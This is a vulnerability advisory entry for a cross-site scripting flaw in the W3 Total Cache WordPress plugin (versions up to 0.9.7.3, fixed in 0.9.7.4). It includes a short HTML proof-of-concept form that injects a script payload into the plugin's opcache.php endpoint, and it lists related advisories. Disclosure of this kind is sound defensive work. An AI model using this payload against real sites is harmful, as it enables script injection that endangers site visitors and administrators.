W3 Total Cache <= 0.9.7.3 – Cross-Site Scripting (XSS) | Plugin Vulnerabilities

Description

The W3 Total Cache WordPress plugin was affected by a Cross-Site Scripting (XSS) security vulnerability.

Proof of Concept

<!DOCTYPE html>
<html>
<body>
     <form action="http://x.x.x.x/wp-content/plugins/w3-total-cache/pub/opcache.php" method="POST">
         <input type="text" name="nonce" value="974ca6ad15021a6668e7ae02e1be551c">
         <input type="text" name="command" value="<script>alert(1)</script>">
         <input type="submit" name="">
     </form>
</body>
</html>

Affects Plugins

Fixed in 0.9.7.4

References

URL

https://plugins.trac.wordpress.org/changeset/2081515/w3-total-cache#file24

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

Miscellaneous

Original Researcher

Thomas Chauchefoin

Verified

Yes

WPVDB ID

6dbb1a21-9805-401b-8cd4-f7c387c99199

Timeline

Publicly Published

2019-05-06 (about 7 years ago)

Added

2019-05-06 (about 7 years ago)

Last Updated

2026-04-13 (about 1 month ago)

Other

Published

Title

Published

2025-09-29

Title

All Social Share Options <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2023-04-04

Title

Quick Paypal Payments < 5.7.26.4 - Admin+ Stored XSS

Published

2020-02-25

Title

Envira Photo Gallery < 1.7.7 - Authenticated Stored Cross-Site Scripting (XSS) Issue

Published

2025-04-24

Title

External Markdown <= 0.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2022-09-19

Title

Top Bar < 3.0.4 - Admin+ Stored Cross-Site Scripting